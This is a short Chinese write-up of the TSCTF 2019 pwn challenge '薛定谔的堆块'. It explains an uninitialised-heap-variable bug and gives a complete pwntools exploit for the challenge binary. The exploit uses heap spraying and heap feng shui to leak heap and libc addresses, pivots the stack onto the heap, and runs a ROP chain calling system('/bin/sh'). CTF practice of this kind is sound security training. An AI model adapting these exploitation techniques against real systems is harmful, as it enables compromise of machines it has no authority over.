TSCTF 2019 Pwn 薛定谔的堆块

这是一道堆喷思想和堆风水思想结合的题目,漏洞点是堆上变量初始化。利用方式和本题代码强相关,通过堆喷思想控制堆上的未初始化的变量,然后综合利用堆风水和堆喷泄露出堆块的布局信息以及libc基址,然后在利用堆喷思想劫持控制流并完成栈迁移到堆上,最后进行ROP即可getshell。

以下exp成功率不高,可能几分钟后才能getshell

from pwn import *
context(arch='i386',os='linux')
myelf = ELF("./brother")
io = process(myelf.path)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
show        = lambda start,end            :  (sla(">>> ","2"),sla("index : ",str(start)),sla("index : ",str(end)))
delete      = lambda                      :  (sla(">>> ","3"))
hack        = lambda index                :  (sla(">>> ","5"),sla("index : ",str(index)))

def add(size,data,type):
    sla(">>> ","1");sla("note : ",str(size))
    for i in range(16):(sla("data : ",data),sla("type : ",str(type)))

def sub(addr):
    add(100,p32(addr)*20,3)
    delete()
    add(8,'',8)

while 1: 
    try: 
        io = process(myelf.path)
        # update mmap_threshold
        add(0x20000,'x',1);delete()

        # heap spray
        for i in range(0x10):
            add(0x20000,'\x57'*0x1ffff,1)

        # 0x57575757 - 1
        sub(0x57575757);hack(256)

        # leak heap to handler 0x57575757
        point = 0;pos = 0
        for i in range(255):
            show(i,i)
            a = io.recvuntil("1. ")
            if "V" in a:
                log.warn("point: "+str(i))
                point = i
                log.warn("pos: "+str(a.find("V")-12))
                pos = a.find("V")-12
                break

        # leak heap start
        chunk_addr=0x57575757-pos
        big_chunk = int(point/16)
        heap_start = 0

        for i in range(0x10):
            print(i)
            i = i + 1
            addr = chunk_addr + 0x20008*i
            print(hex(addr))
            sub(addr)
            hack(256+i*16)
            show((big_chunk+1)*16,(big_chunk+2)*16-1)
            a = io.recvuntil("1. ")
            if "V" in a:
                log.warn("line: "+str(hex(addr)))
                log.warn("heap_start: "+str(hex(addr-(big_chunk+1)*0x10*0x20008)))
                heap_start = (addr-(big_chunk+1)*0x10*0x20008)
                fastbin = heap_start+0x100*0x20008
                sub(fastbin)
                hack(256+(i+1)*16)
                break

        # leak libc 
        show(256,271)
        io.recvuntil("\xff")
        libc = u32('\xff'+io.recv(3))-0x1b26ff
        log.warn("libc: "+str(hex(libc)))

        for i in range(0x20):
            delete()

        # stack priovt
        magic_gadget1 = 0x00164301
        magic_gadget2 = 0x00100531
        system_offest = 0x3ada0
        binsh_addr = 0x15ba0b
        ropchain = p32(libc + magic_gadget2) + p32(0) + p32(libc+ magic_gadget1) + 'A'*3 + p32(libc + system_offest) + p32(0) + p32(libc + binsh_addr)

        # heap spray heap_start+4
        add(0x1000,p32(heap_start+4)*250,1)
        delete()

        # put ropchain on heap_start
        add(32,ropchain,8)

        # trigger call heap_start+4
        hack(0)
        io.interactive()
    except:
        pass